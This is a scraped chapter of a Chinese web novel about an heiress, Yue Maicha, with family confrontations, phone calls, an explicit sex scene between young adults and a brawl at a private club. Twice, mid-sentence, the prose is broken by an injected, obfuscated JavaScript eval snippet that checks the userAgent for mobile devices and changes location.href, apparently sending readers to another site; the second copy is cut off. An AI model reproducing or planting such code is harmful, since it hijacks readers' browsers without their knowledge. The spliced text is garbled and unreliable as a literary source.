等人救不如自救。扫遍客厅,见满室空荡无物,她举起手,将iPad砸出去。 轻薄平板被门槛击碎成无数星星,才离开沙发,她就见黑得油亮的靴子踩上那些星星。 那是个气势内敛的中年男人,在他身上月买茶嗅到了硝烟的味道。 男人一步一步走来,随着他的临近,她看见他手上端着盘去了内瓤的白玉苦瓜。 清苦味自破碎细胞里漫开,月买茶坐回原位,看着那盘出自自家庄园的苦瓜,“你是谁的人。” 男人微微一笑,放下精美的瓷盘,“祁璇小姐流产那日我们见过。” “哦?” 满面疑惑,月买茶侧耳道:“您靠近点说行吗?我耳朵不好。” 男人便凑近了,“我们在解——” “啪——”清脆似切苦瓜的声音自男人面皮上荡开,月买茶高举左手:“那看来我们还在我的手术室外见过。” 一脸歉疚,她盯着男人,眉目平稳地笑:“第一次用左手打人,使不上力,您多担待。” 中年男人收起笑容,端走苦瓜,大步一迈利落向里去,敲了两下书房的门推开。 过了片刻,齐燕华来了。 他背着最后一缕霞光进屋,迈着束枪支的腿路过她,身后罕见地没跟人。 皮鞋踩在地上发出闷声,他看也没看她一眼,径直进了书房。 她也没喊他,她饿得反胃,中午连着下午,她连口水都没敢喝。 凝视着窗外梅花,点点红里出现了个她很熟悉的中年男人。 是里头死老头长子的秘书。 那秘书身后跟着个推着一餐车生食的人。 “刚刚打了下李惨绿他爷爷身边人的脸,要道歉吗?”注视着秘书,月买茶问。 “他们管那个人叫言叔。” 秘书的脸色变了变,但很快就恢复回宠辱不惊的状态,“言叔确实过分。” 十年前李家大爷情妇流产,是月买茶推的人,当夜在手术室外,她被敲断了左手。 “一天没吃饭,饿了吧。”秘书侧头示意,推餐车的人便把摆生肉生鱼摆上茶几。 “先垫垫肚子,等会儿齐议长就出来了。” 没有因为喜欢的食物和饥饿动筷,月买茶问,“你怎么在青琐?” “陪太太回来参加讲座。” 太太当然是李大太太了。她和李大太太互相仇视,原因众多。 秘书夹了生菜叶子到她面前的小碗里,她拿起筷子,齐燕华顶着一脸她从没见过的愠怒出来。 走到她这边,他道:“回家了。” 放下筷子,月买茶跟了上去。 小楼绿意盎然的栅栏旁停着辆标轴奥迪,前座半降下来的车窗露出齐燕华的脸。 视线越过轿车打量着邻近形制相同的小楼,月买茶生出了点新想法。 齐燕华像是知道她在想什么,“在慈山上乱来会被枪毙。” 月买 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16968801|193415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 茶切了声,上了后座。 * 悯山离慈山不远,轿车开过大桥,拐过几弯,就是竹园了。 齐燕华绕到后边为她开车门,手搭在门框上防止她被磕着——其实磕不着的——你说这个人怎么这样,“周日想看什么电影今晚看,明天我要出差。” 每周看一部电影是他们那个五姓之家用来维持亲情的手段之一,三个哥哥都不在,就还是她来推荐电影。 月买茶一阵头疼,儿时看电影为的是投人所好,长大以后要讨好的人不是电影迷,她就很少看了。 一时半会儿要推荐点什么,她也推荐不出来。 回卧室换衣服,脱纸尿裤时她突然想起一个词:spoiled。 such spoiled brat. 发语音给助理阿A让他汇报盛挽意近况,换上干爽的纸尿裤和舒服的家居服,她给盛挽意发文字消息,问他最近在看哪一部电影。 回问她是否方便接电话后盛挽意打了电话来。 电话那边吵吵嚷嚷的偶尔有几个摄影方面的专业词汇冒出来,应当是在拍杂志。 “最近在看圣殇,韩国电影,关于母爱的。” “接了一个北省的宣传片,明天去北城实地取景。” “有空出来吗?” “我不在北城。”看着盛挽意的代言记录,月买茶的眉头渐渐拧起来,怎么什么乱七八糟的都接。 “你缺钱?”她单刀直入问,“没沾黄|赌|毒吧。” “没,看上几套房子。” “哪里的房子,我房子多得是,直接送你得了。” 盛挽意默了默,“违约麻烦,我先去拍宣传片了,晚点聊。” “好。” 圣殇不仅是一部讲母爱的电影。 还是一部邪典片。 她跟闫涓钟?易慧一起看过。 到楼下时起居室的帘子已经放下来了,白纱轻舞,齐燕华站在浮雕精美的门拱下,摆弄他那部有翻盖手机壳的手机。 “想好看什么了吗?”收起手机,齐燕华问。 “想好了。”月买茶答,“但我得先吃个饭。” “在这边吃吧。”齐燕华说,“今天破例。” 家里有起居室里不能吃东西的规矩,月买茶不理解,但没破坏过。 “呜呼。”她挑了挑眉,上前拨开纱帘。 茶几上已经摆满了食物,汤汤水水的,并不适合边看电影边吃。 赤脚踩上地毯,她盘腿坐到地上,放好电影,拿起筷子,边搅和大碗里盖着麻酱的米粉边说:“你自己看吧。” “我看过一回了。” 齐燕华说好。 埋头嗦粉,顺带回忆圣殇的剧情,想久了,人也陷入到那种灰扑扑的,似乎永远在下雨的氛围里。 做什么都提不起劲儿的氛围。 分别在装着人物和台词的记忆箱子里找出相对应的情节衔接上,衔到最后看到一瞎一疯一跳楼的三位母亲,月买茶觉得圣殇简直是部教孩童走正道的教育神片。 看,要是你们不乖,你们的妈妈就会不得好死。 浸在黎明和傍晚的蓝色时刻里,月买茶想起许许多多往事里最戳她肺管子的那件。 “月小姐你是个很优秀的女孩子。在元伦理学方面的造诣也很高。”中年女人的红唇翕动着,“但比起一个哲学家,李家更需要的是一个能服众的主母。” “据我所知你的监护人并没有给你提供相关的教育。” “听说你没去过隐岛,不知道你还记不记得他的长相。” 说着朝月买茶推去一部播着视频的手机,女人自信满满地微笑道:“相信我很快就能听到好消息。” 手机是静音的,画面无声,只能凭借口型来辨别视频里的人说了什么。 认真看完已经看过很多遍的视频,月买茶抬起头,礼貌给出答复:“我一直知道。” “我不介意这个。” 女人眼角眉梢的笑被她的鱼尾纹卡着了,那上面还卡了一瞬间的难以想象。 很快她的鱼尾纹就被沉下来的表情抚平了。 那卡着的情绪落入她犀利的眼眸中,在明目张胆的思考里刻意转化为不屑和怜悯:“何必这样死缠烂打?你这样——” 女人顿了顿,换了种拉家常的和善语气与月买茶说话:“Mrs.Crown——” “——我们的婚姻不作数,那只是让合作好听一点的协议而已。”月买茶沉静叙述道,“没有备案,没有登记,没有广而告之,完全不作数。” 女人轻轻笑了声,她笑得很包容,那是种听到无聊笑话后给面子笑了下的包容。 “好吧好吧。”她说道:“Mrs.Rich,Mrs.Wise,Mrs.Crown,随便您想我怎么称呼您。” “反正呢,您应该不会想您的继子和亲生女儿硬要和一个像您一样的人结婚,更不想他们因为这样无聊的原因跟家族里的兄弟产生隔阂——” “——对吧。”她咬字咬得很轻松,像知道自己会赢得辩论比赛的正方辩手。 “对吧。”她催促着问。 蓝天白云下马路对面出现一个男青年,咖啡馆里,Almost lover轻飘飘地回荡着,灵肉分离着,月买茶点了下头。 她甚至不愿叫我Miss.Harvey. 那么好的天气,那么让人心平气和的天气。眼泪噗通噗通砸进麻酱里,晕开的色调像泥土像屎。 电视机亮起来,齐燕华垂着睫毛,纱帘晃动着,阴影在他那张好看得叫人止息的脸上折叠成怜爱。 “乖,不哭了。” “干她祖宗十八代的我明明叫Victoria.Elle.Harvey。”麻酱发出被污辱的尖叫。 6. 鸵鸟心理 失禁了,不好意思说又,因为用药之后根本没停下来过。 其实最初的需求是大小便一起失禁的,但是她肠子里没东西,屙不出来。 审核着基金会的妇女节活动,月买茶打开另一台电脑,边看实时监控,边把像在写脏臭黄|文一样高兴捏造着四星上将女儿被性|侵细节的人弄掉。 披露了点全面的他人信息出去,她接起城市妈妈联盟波士顿分机构负责人的电话。 负责人说刚帮助几个人找到了工作,打算让那些人来发表妇女节演讲。 “基金会该大幅度接纳新人了。”负责人说,“这些年我们一直在围着一批人打转,那不是我们的目标。” “我知道,但比起那个,我得确定每个人都有开枪的胆量。” “我不喜欢把受害者洗得干干净净以后再送出去被欺负。” “那我还不如去开绵羊厂,至少能盈利。” “但我觉得有些人的胆量有些过分了,你得管管他们,他们都去抢劫黑|帮了。” “还认为自己是正义的。” “那正是我期望看到的,没人会反感恋|童|癖猎手的存在吧。” “市政会把空房子拆了弄做草坪以免空房子藏污纳垢,我们应当学习那种防患精神。”说着拿起笔,月买茶刷刷写下一封鼓励信并拿到扫描仪下。 十分钟后负责人就能拿着复印件向有业者表达决策人的同乐和期望了。 “你也说那是市政做的。”负责人说。 “你确定要把所有事情交给市政?” 负责人噎住了。 扫描完的同时蹬了下地板,让人体工学椅带着她在房间里胡乱漂移,将漂到窗边时,她让智能家居把灯关了。 黑暗是她的舒适圈,松快的宁静在血液里汩汩流动,她把腿盘到椅子上。 墨黑夜里议院楼群浮动着点点冷白光亮,漂亮的内透,很容易让人联想到大都市。 森冷的钢筋水泥,覆盖着同样冷的玻璃,绝妙设计像花一样开在方块天空下,带动一百五十亿人口前行。 据说地|球逃亡的一大原因是人口过载,是有一千五百亿人同时存在吗? 想了解那样的事得找专业人士问,地球是行星,那就找天文学家喽。 电话一打出去就被接通,看着屏幕,月买茶习惯性道: “是我,月买茶。” 李惨绿嗯了声,柔和询问:“怎么了?” 月买茶说了自己的疑惑,李惨绿说没有那么多,地球很小,“不会超过一百亿。” “天星的自然条件比地球好很多,面积也更大,所以能容纳一百五十亿人。” “但这个人数也是过载的。”李惨绿说得很认真,“按照我们对人的要求来看的话。” “那确实。”朝夜色点头,月买茶轻飘飘问:“对了,药效什么时候过去?” “有不良反应?”电话那边传来衣料摩擦的声音。 “没有,就是一直在失禁很烦。”说着月买茶打开私人邮箱。 “药效是二十四小时,你什么时候用的?” 邮箱里在陈院进修的朋友疯狂尖叫着让她给点论题,她敲下“敦促媒体严肃对待强|奸性|侵轮|奸等相关词汇的使用”发过去。 邮件显示接受的同一时刻,朋友用社交软件发来一串枯萎玫瑰——那太超前了,新闻主语都还管不了呢——但抗争本来就是一条没有终点的路——靠北哦好累。 回了三个笔直玫瑰,月买茶开口道: “我今天见到你爷爷了。” 李清许对她的不满已经实体化到可以去登记户口的程度了。 该将心比心呢,还是说李清许活该呢? 还是李清许活该吧。 “砸了点东西,得麻烦你帮我搞张发票了。” “报价弄高点。” 李惨绿的呼吸平稳,她也心平气和问道:“可以吗?不行我找别人。” “明天中午之前发给你。”李惨绿说。 “好的。” 然后就不知道要说什么了,合上张开的嘴,她安静地听李惨绿呼吸。 那些回南天时分喷洒在颈间也不叫人觉得不舒适的有洁净皂味的鼻息。 她是真的喜欢他呀,隔着黑黑的屏幕,她居然会去给他的呼吸加上味道。 她真的好喜欢他。 要问他天文学上有什么新的有趣的事?还是跟他讲人类学的新发现? 可她对天文学不感兴趣,也不想去提那些很远的人类新发现。 那要做什么? 直到换完新的纸尿裤,他们两个人都没再说新的话。 那不然就挂了吧,嘴张开,告别却成了“你能帮我出境吗?” 李惨绿说抱歉,也没补充什么理由,就冷冷淡淡两个字——抱歉。 气氛更加冷淡,很久之后,她再次启唇时,李惨绿却抢先一步,“你们基金会申请的免费提供经期用品合作三院前几天开会讨论了。” 基金会从成立之初就面临着巨大的经期用品缺口,在采买和物资管理上踩了几次坑后基金会干脆自己建了个卫生巾厂,之后又陆陆续续建了点别的厂,顺便给基金会的成员提供社会实践基地和就业岗位。 那样一个从哪个角度都能拿来吹嘘的事自然会被很多想证明自己的人看上。 三代四代人数众多,月买茶不怕空有名头的,就怕那种能在家里撑腰下做成坑人事的。 好在她也有靠山能找。 “谢谢你宝宝。”漆黑平板里荡漾起她的笑,她与他分享昨天特意早起去吃的冬粉鸭有多好吃,店主母女有多幸福。 李惨绿听着,不时发出认真的嗯声,等她说完,就续上昨天在琴屿陪姥姥,还去走了一遍她喜欢循着拼音字母念aoe的那条路的事,“找到了很不错的布丁配方和奶茶配方,回北城了做布蕾脆脆奶芙给你喝。” 她好生冷食物,日常冰饮不离手,相识之后他嫌外头的不干净,就自己上手做了。 第一想法是要怎么钩出奶油顶,李惨绿每做出一种饮品,她就会钩一个那种饮品的娃娃出来。 良性互动是恋爱长久且健康的关键因素。 “好呀,我要多多的碧根果。” “不要珍珠,嚼得我腮帮子疼。” “还有……”想着布蕾脆脆奶芙的组成,因为来电而亮起的屏幕刺激得她闭上眼睛。 睁眼查看,见是属地为德国的陌生号码,她飞速眨起眼,“接个电话,先挂了。” 接起来电,电话那边传来一个男声,“晚上好,是我。” 是加西亚.加西亚。 一个两次要帮她离开夏洲的毒贩,昨夜他留了消息,请她有空的时候回个电话。 估计是等烦了。 “晚上好加西亚叔叔,有什么事吗?” “来跟你说声抱歉,你现在怎么样?” “你已经说过抱歉了,而且这次的失败与你无关。” “我现在吗……我刚刚在跟我男朋友通电话,我最近过得还不错。”站起来,把头抵在温热的窗玻璃上,月买茶轻轻吐着气。 吐息沾上玻璃变成水雾,水雾很快散去,留下玻璃继续清透。 “近期青琐安保程度会提高,我打算等清明离开,那天他们不会有注意力放在我身上。” 加西亚.加西亚沉吟片刻,说好。 “那就结束通话吧,加西亚叔叔,慈山上有很多信号捕捉器。” “对了,联系我的话最好用我给的加密电话,我不能保证我身边一直没人。” 加西亚.加西亚仍旧说好,还主动挂了电话。 玻璃抵久了,额头有些疼,长长吐出一口颤抖的气,月买茶闭上眼睛,缓解干眼的刺痛。 睁开眼睛,她把自己扔回人体工学椅里。 夜深了,议院楼群的灯光也星星点点的像大都会里的萤火虫一样,罕见得像神话。 夜真黑啊。 没了继续跟李惨绿通话的兴致,给他发消息说自己累了,戴上粉噪音耳机,她回到办公桌前。 粉噪音随机播放出平常夏日的场景,看着文件,她眼前缓缓绘出一条被晒得发灰的马路,一棵被晒得发金的树,一个被晒得透明的人。 透明的人没有脸,月买茶知道又不知道他是谁。 你希望是谁呢?她问自己。 是平淡又无眠的一夜。 冬日天亮得晚,听到健身器材启动的声音,月买茶顿了顿,处理完手头正在处理的东西,她回着电话去洗漱换衣。 到健身房的时候齐燕华正在举铁,饱满的肌肉上淌着汗液,热气蒸腾。 齐燕华没看她,教练倒是朝她点头致意了。 从有记忆开始身边就是齐燕华那类体魄野蛮的人了,可惜嗅了那么多年汗水,她却还在只有点肌肉线条的状态里,不知那算不算朽木不可雕也。 不管是频出精神病的母系家族还是频出畸形人的父系家族,那些亲戚,没有一个是娇小的。 难以抑制的嫉妒在汗水的滋养下繁衍壮大,她放任着它们入侵大脑,控制唇齿。 “我打算入籍,霓国。” 杠铃重重砸在地上,齐燕华拿过毛巾摁在脸上,教练低下头要离开,被他用手势制止。 “我不打算跟缺觉的人谈人生大事。”毛巾落在肩膀上,齐燕华说,“你去睡一觉,晚上再说。” 整夜工作后她的状态确实不会太好,但国籍的事她已经想了两年了。 “我造了份能证明我是琉球裔的材料,就是……要你签字。” “我以后参选总统,琉球裔的身份……” “今天先到这。”齐燕华对教练说,然后又转过头来对她说,“你的学位证到了。” 学位证是普林斯顿人类学系的,月买茶挺在意那张证书。 大概因为那是一份生活轨迹没有出现偏差的证明吧。 做了个深呼吸,她问齐燕华学位证在哪。 齐燕华说先吃早饭。 餐桌临窗,窗外是白茫茫的雪景。 他们来得太早,厨娘连做什么都没来得及想好,好在材料俱全,所以在齐燕华清爽入座的那刻,两碗粉和一碟薄荷叶子也跟着上了餐桌。 把薄荷叶子送进胃里控制血糖,她的目光移向牛肉粉,棕色的肉在汤碗里垒成小山,是另一座药。 夹了片生烫牛肉放进嘴里,软嫩的肉在嘴里化开,顺着喉管流到胃里,拿起柠檬汁倒进汤碗里,她平和地问前天夜里没来得及问的事,“哥哥真要娶江风柔,江家不是有遗传精神病?” “你们两个在胎里就做了基因手术。” 月买茶哦了声。 先天和后天的哪个更让人难受一时半会儿她竟分辨不出来。 “跟朋友玩得怎么样?”接过她递的柠檬汁,齐燕华问。 “感觉自己很自大。”腐烂的葡萄在眼前晃,月买茶不敢确认她是否真的认识凌夏竹,“我想当然认为她就是在我面前的样子。” 齐燕华应当是想错了什么,他笑了下,很远很远的笑,“你比我幸运,我比你晚认识到这一点。” “把让人难受的事美化成幸运很low。” “我同样不喜欢。”齐燕华放下柠檬汁,扭头看向窗外。 月买茶跟着看过去,雪花多的像凝结在空中,后院,广阔池塘的中轴线上,一道平直的水幕沸腾着。 “抱歉,我给不了你有效的缓解方案。”收回视线,齐燕华看向她,脸上没什么表情。 不是臭脸的那种,就真的只是没表情。 “儒省那边有点事要过去处理,周日回来。” “这几天调整一下状态,下周那些事要你善后。” 说完齐燕华就低下头,安静吃早餐了。 很小的时候就知道工作永远也处理不完所以不要提前给自己压力的道理,没多问,月买茶也低下头安静吃饭。 吃完去起居室拿学位证,看着证书上的普林斯顿大学字样,月买茶百感交集。 易慧在二十岁生日那天哭了,她问易慧为什么,易慧说她可以确定自己十到二十岁的时候一定在学校,明天是绝对可预见的。 但二十岁到三十岁,除了前两年会在学校,后面八年乃至更久的后半生,包括她自己在内没人知道她会去哪儿在做什么。 未知使人恐惧,所以她惶恐,“就像我上了十六年学,突然不上了,那我肯定会不适应啊。” 易慧说那话的时候月买茶十八岁。 现在二十岁,捧着学位证,她也后知后觉地被易慧的恐惧影响到。 在大人们的设想里,她会走到人类学的尽头做一个受人爱戴的学者。 尽管过程崎岖,但她确实站上了人类学的门槛。 “你拿到学位证的时候在想什么?” “我?”齐燕华脸上敷上了思考的神色,那种神色同样很远,比她的人生还长,“二十五年了……你想要我在想什么。” “未来不明朗的感觉。” 话说出来月买茶自己都笑了,先不说齐燕华的硕博都是保上去的,就算他没有深造,但在那个年代凭最高学府的出身,他照样有平步青云的底气。 而她,要不是抱着不能让安德鲁.蒙巴顿毁了她的想法,她连本科都读不下去。 把毕业证书挪到一边,她抬起头,看着齐燕华琥珀色的眼睛说抱歉。 “前天早上不是故意冲你发脾气的。”仰着头颅,她脸上还残余着顺利毕业的笑,“我只是单纯不喜欢那种把痛苦拍成happy ending的电影。” “怎么会觉得那是happy ending?”拿过她的学位证看起来,齐燕华问。 “在开学前跟心理医生敞开心扉了,怎么不叫happy ending?” “而且背景音那么好听。” “永远都是一个套路,罪犯受到惩罚,受害者收到几句开导,就像什么都没发生过一样。” “虽然遗忘确实是良药,但那太傲慢了。” “你别把我学位证摸旧了。” “我还要拍照呢。” 伴随着深呼吸,齐燕华把学位证还给了她。 定定看着她,齐燕华道,“梁鸿影还送了学士服来,回头叫保姆把学士服都找出来,到时候我们拍个全家福。” “好啊。”想起小时候就穿过的老虎服*1,她随手把学位证放到沙发上,扭头看向落地窗外的水幕,那道水幕又平又直,是她想要的人生的模样。 “不是要去出差?” “等你们都回来了再说吧。” “一晚上没睡,困死我了。”夸张地伸了个懒腰,她拍拍齐燕华的肩,越过他往外走,“一路顺风。” * 让人难过到不愿回忆的过去一路追到了幻觉里,更可恨的是每个细胞都未战先降了。 超忆症患者的记忆就像是一本随时可以翻开的日记,你知道的,有那么一类人,写日记时会把难过写成快乐。 请原谅我的美化,但每天强调自己正在受伤害真的很难受很难受。 至少,她活下来了,给努力的孩子一点儿奖励其实没什么的,对吧。 盈盈淌着光的绸质床单会是黑色的,躺在上面的李惨绿和他的半月痕一样白。 同时他很帅,是可以用客观来形容的那种帅。 点缀着鸽血红宝石的美甲划过汗湿的腹肌,起伏的胸肌,轻颤的喉结,一路上行,最终停在那双嵌着琥珀色瞳的丹凤眼上。 上挑的眼,尖尖地流着汗,被压着都是盛气凌人的样子。 很气人。 弯下身吻去李惨绿睫上的汗珠,俯仰间,月买茶细细喘起来。 “好胀。”她摸他的喉结,喘着运动过度的气,湿漉漉地笑。 鹭岛的夏至日滚烫,夜晚也不能免俗,灼人热气扭曲海岛,她生出世上只余她和李惨绿两人的错觉。 “我们像在演Roth和Jack。”扶着玻璃,她喃喃道。 无缝的长玻璃上,挣扎的手印数不胜数。 像在一辆巨大的马车里欢|爱。 游客喧闹经过,他们大叫大闹。 谁都不介入谁的快乐。 “我们是正常恋爱。”李惨绿很认真地说。 凭着惊人腰力直接坐起,他追逐星星一样急切地吻着她。 她由着他吻,他吻,她侧过头,仰起头,放肆大叫。 刚成年的人在制造爱的比赛里总有无限精力,一场接一场,连中场休息都无。 呵呵地喘着气,她把李惨绿推回黑绸床单上,以君王巡视领土的傲慢和运筹帷幄在他身上巡逻起来。 李惨绿才十九岁零半个月,有着介于男人和男孩之间青涩又成熟的气息,像滋味正好的苹果,连果核都甜。 痴痴笑起来,她夸奖他,喊他曾外祖父为他取的字,“李行寥,你真好看。” 李惨绿弯起眼睛,抓住她的手,让她亲临她的国土。研究员的皮肤柔韧细腻,寸寸吻过浸淫阳春水的掌心,让人发酸发颤。 那种感觉太恐怖,月买茶大喘着气,想从中脱身,“你……”她夹紧腿,为女王亲临而兴奋的土地却起伏个不停,“你还没祝我生日快乐呢。” 李惨绿舔舔唇,琥珀色的眼潋滟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一起听她颈上,她教父赠予她的反监视器彻响孤寂琴屿。 夏雨疯狂砸落,水声隆隆,与玫瑰一起粉身碎骨。 颤抖着在快乐中失了力的手摸上窗玻璃的特殊装置,黑雾漫开,窃听声波的激光无所遁形。男人眼里,光圈荡漾一圈又一圈,像蛊惑人心的海妖。 什么也没说,什么也没问,月买茶朦胧着眼,默默地,把印满吻痕的手指塞到嘴里。 血腥味晕开在嘴里,她认命般重重闭上眼。 她决绝的,只比西西里岛上最美丽的女人玛莲娜为食堕落的犹豫慢了一秒。 * Anne死后她迷恋上草莓,草莓发夹草莓唇膏草莓裙子,家里的假草莓多得让水果篮里的真草莓怕得发癔症。 她对草莓的热爱经久不衰,连贴身衣物都是草莓的,那些衣物随着少女的弧线越变越多,直至她十三岁。 器官淫邪地长大,她剥去贴身衣物漂亮的权利,在灰扑扑里求一丝贞洁的安慰。 哪怕她知道错的不是贞洁,不是发育,甚至不是草莓。 “草莓来喽。”穿着粉黄碎花罩裙的厨娘像在林间唱歌的迪士尼公主一样轻快地拎着一篮洗净的草莓到她身边。 正是草莓上市的季节,那些日子源源不断的草莓因为她儿时的喜好被输送到她身边。 淋久了水就要腐烂的娇贵玩意,月买茶其实没那么喜欢了。 “周末快乐。”她在自己的钩针篮子里扒拉了下,拿出这几天照青琐各公园花期做的应季钩针发圈给厨娘。 “你也快乐,我放假了,别想我呦。”看着她把手伸进草莓篮子里,厨娘欢呼雀跃地走了。 很快就听见长羽绒服和冷空气相擦发出的声响,还有雪地靴踩雪的声音。 从篮子里缩回手,看着满篮的红液,月买茶若无其事抽出湿巾擦干净手。 然后拿起钩针继续未完的活。 答应给舍友们钩娃娃作为毕业礼物,但是还没钩好。 要赶在清明前做完。 思考着给闫涓织学士服还是选调生制服,从二者都要吧反正我做得到的想法中抬起头,她挑起眉。 不知何时站在茶几前的用人弓着身,说议长有份文件在书房,请您去一趟。 齐燕华的书房层层上锁,有权限进入的除他本人外就是家里四个小孩。 偏偏那天只有她在家。 拿起文件,月买茶顺带瞟了眼,是针对儒省代|孕现象的。 齐燕华那回出差就是为了那事,夏洲的规矩是省级和单列市级的重大事件跨省处理,或者申请陈院介入。 作为重构经验充足的后起之秀,北省自然是陈院之外的不二之选。 为了表示看重,齐燕华还特意亲临了现场。 跟在脚步匆匆的用人身后,绕过重重回廊,她停在茶室前。 淙淙山泉流过方正沟壑,池鱼跃动在空中出绘出红影,袅袅白烟里,低眉顺眼的茶艺师美得无声。 “舅舅”二字在舌尖打了个转,俊美的中年男人们看过来,月买茶扬起一个笑脸,朝坐在主位上,最英俊的那人喊道:“爸爸,你的文件。” “来了。”齐燕华淡淡笑道。而她走上前,把文件递到齐燕华手里。 文件被搁在一旁,她在齐燕华的介绍下乖巧地向他的友人们问好。 “这是你封叔叔。” “封叔叔好。”月买茶微微抬起眼皮,看了眼封重又立刻降回到遮了大半只眼珠的高度。 科学院院长,她单方面认识他。 “我是封轻,信封的封,轻重缓急的轻。”中年女人伸出戴手套的手:“李惨绿的母亲。” “……他舅舅是科学院院长封重……”封轻平淡地介绍着李惨绿的家世,并以“你呢”做结尾。 你呢? 她是个五岁就失去双亲的孤儿,有一个不清不楚杳无音信的监护人。 她该无地自容的。 “喊什么叔叔,多生疏,你怎么喊阿璆就怎么喊我吧。”封重笑道。 舅舅二字又在舌尖打了个转,扬着笑脸,月买茶乖巧着睁大眼睛:“这不好吧。” 封重玩味地勾了勾嘴角。 常因为学业问题单方面和科学院院长打交道,知道他不是什么好东西,要说的也不会是什么好话,她反手便抓住一碗茶。 封重什么都没说,只笑着看她。 “封重。”齐燕华开口,脸上依旧挂着笑,柔声让她回房去拿外套穿:“你身体不好,别冻着了。” 没回房穿外套,她去了可以称作是图书馆的起居室里。 不同于茶室的典雅庄重,只供主人家使用的起居室的装修基调以舒适的暖色调为主。 厚得踩上去就看不到脚底的地毯铺了满间,由名贵木材雕制而成的书架占据了两层楼高的墙面。坐在地毯上,盯着满墙的书看了许久后,月买茶挑中了《断头王后》 ——她那时还年轻,不知道命运馈赠的礼物,早已在暗中都标明了价格。 不要礼物的话,是不是就不用偿还了?低垂着眼皮翻书,思绪像飓风一样刮起,回头看此风因何起,却又只看见一片狼藉冰原。 最小的哥哥说晚上会回来接她出去吃饭。 在衣帽间思忖半天,她最后穿了条白色的公主裙。 手机叮当作响,她没看,人工智能大声念出内容,是某个狐朋狗友在转告她,她包养的金丝雀在花江会所抓奸,请她去帮忙。 月买茶先是震惊了下捞女的从良,然后思考起怎么在短暂时间里转道风月场所同时不被家里人察觉。 只在门口耽搁的那会儿,男性长辈们便从拐角后绕了出来。 冷淡的阳光洒在他们俊美的脸庞上,拖曳出长长的阴影,健壮而从容。 尘埃在阳光下起舞,月买茶恍惚了一瞬。 很久以前,也有许多俊美的男人是这样贴着走路的。 “怎么了?”她听见齐燕华问。 月买茶立刻就决定去找言笑了。 “我要出去逛街。” 齐燕华看了她良久,最后轻轻点了下头,没问朋友的信息,他说:“让徐志陪你出去,早点回来。” 与他肩卡肩的封重笑起来:“小姑娘逛街带什么老阿叔,叫个年纪差不多的姑娘陪着拎包就好。”他调侃地看着齐燕华。 齐燕华深深回看了眼封重,面无表情,“她自己去就好。” 7. 烦人爱情 以汉语为基酒的多语言鸡尾酒悠然在周末午后的天光里荡漾着,往左往右,记忆被拉扯着,月买茶想起Anne出事以后她为她背下来的恶毒评论。 跟那些评论比起来,每个字都带着幸灾乐祸意味的姐妹聊天童稚又书面。 听了半晌,知道事情的缘由是言笑男朋友卖了言笑的卵子去嫖|娼,她忍不住跟其他人一起笑了起来。 笑着她想起自己背诵评论的认真,和认真里跑神自己是不是被种族歧视了的疑惑。 儿时的疑惑早已被权力的自以为是解开,但自以为是激发的愤怒在笑里被熬煮,浓缩成丰度大于90%的武器级高浓缩铀。 真可笑,她一个国籍都没有的人在怜惜京圈大小姐。 账要一笔一笔算,月买茶告诫自己。 一路飙到花江会所,监控远远识别出车牌号,连盘问都无,她畅通无阻地开着车进了号称青琐第一销金窟的私家会所。 “谁说的嫖|娼?”跑车开过波光粼粼的喷泉,月买茶讥笑,“害我以为是什么脏兮兮的地方。” “嫖|娼是指以金钱、财物为媒介,与他人发生不正当性|关系的行为。”*1有人用贱嗖嗖的语气朗诵定义,“也没指定场合啊。” “滚。”说着她降下车窗,朝不远处廊下的侍者招手,“你知道这个人在哪吗?”她划拉出和言笑的合照,摁着自己的脸把手机亮在侍者眼前。 侍者礼貌一笑,“请您跟我来。” “淮院到了,言小姐就在里面。” “需要提供面具吗?” 月买茶默了默,侍者上前刷开门。 暖气扑面,像一条肥舌头亮来,黄色舌苔滋养着淫词艳语的菌,生机勃勃的超级细菌。 噼里啪啦声里不知什么碎了一地,几片细小瓷片借力上到二楼,又被轻舞的缦纱拍下去。 素白色缦纱后似有几道人影,没有透视眼,不知道是哪几位,想了想,月买茶决定不去想了。 走到声源处,月买茶给气笑了。 那简直是霸王别姬现代版新编,可人戏班子在街上卖艺是为了讨口饭吃,她砸大价钱养的慕尼黑大学法学高材生在众目睽睽下跟人扭打在一起是为了什么? 围观者比看脑门碎砖的底层百姓兴奋多了,侧头问侍者楼上的是谁,侍者说请您稍等。 说着人就去楼上了。 眼见着言笑脱力要被打到,月买茶随便摸了个东西扔过去。 是个刀鞘,言笑的对手捂着额头懵逼时月买茶看清楚了落在他胸毛上的东西。 比任何时候都想念李惨绿,她拿起果盘边的小刀,在万众瞩目下走到离中央沙发最近的沙发,挨着边坐下。 临近的花花公子操起挑逗的笑容上下打量起她,友好的样子像诱拐女童的人贩子:“妹妹今年几岁了?在哪上学呢?” 不等月买茶吭声,就有人拐了那花花公子一下,带着惊讶道:“E姐,什么时候来的青琐。” 月买茶九岁归国,打那时起就跟在解琟后面与夏洲商场各势力过招,顺势做了回别人家的孩子。 没人认识她才不合理。 “让让,谢谢。”她用刚好够看乐子的人们听清的音量说。 围观者们提线木偶般被操控着往两侧分开让出了一条道。 那场面宛若摩西出埃及,上帝降神谕使红海分开。 站起来,走进那条道,走到尽头,走到中央沙发旁,抓住涕泪横流的女人的手,月买茶心疼地揉她红肿的掌心,“真是蠢货。” 说罢把刀塞进言笑手里,帮她握住刀,她好心告诉言笑现在严打代|孕,“找你麻烦的可能性很小。” 沉默凝视着她,言笑张了好一会儿的嘴,才用说婚礼誓言的郑重语气强调:“我们是正经恋爱的。” 像碰到脏东西一样收回手,她嫌恶地啧了声。 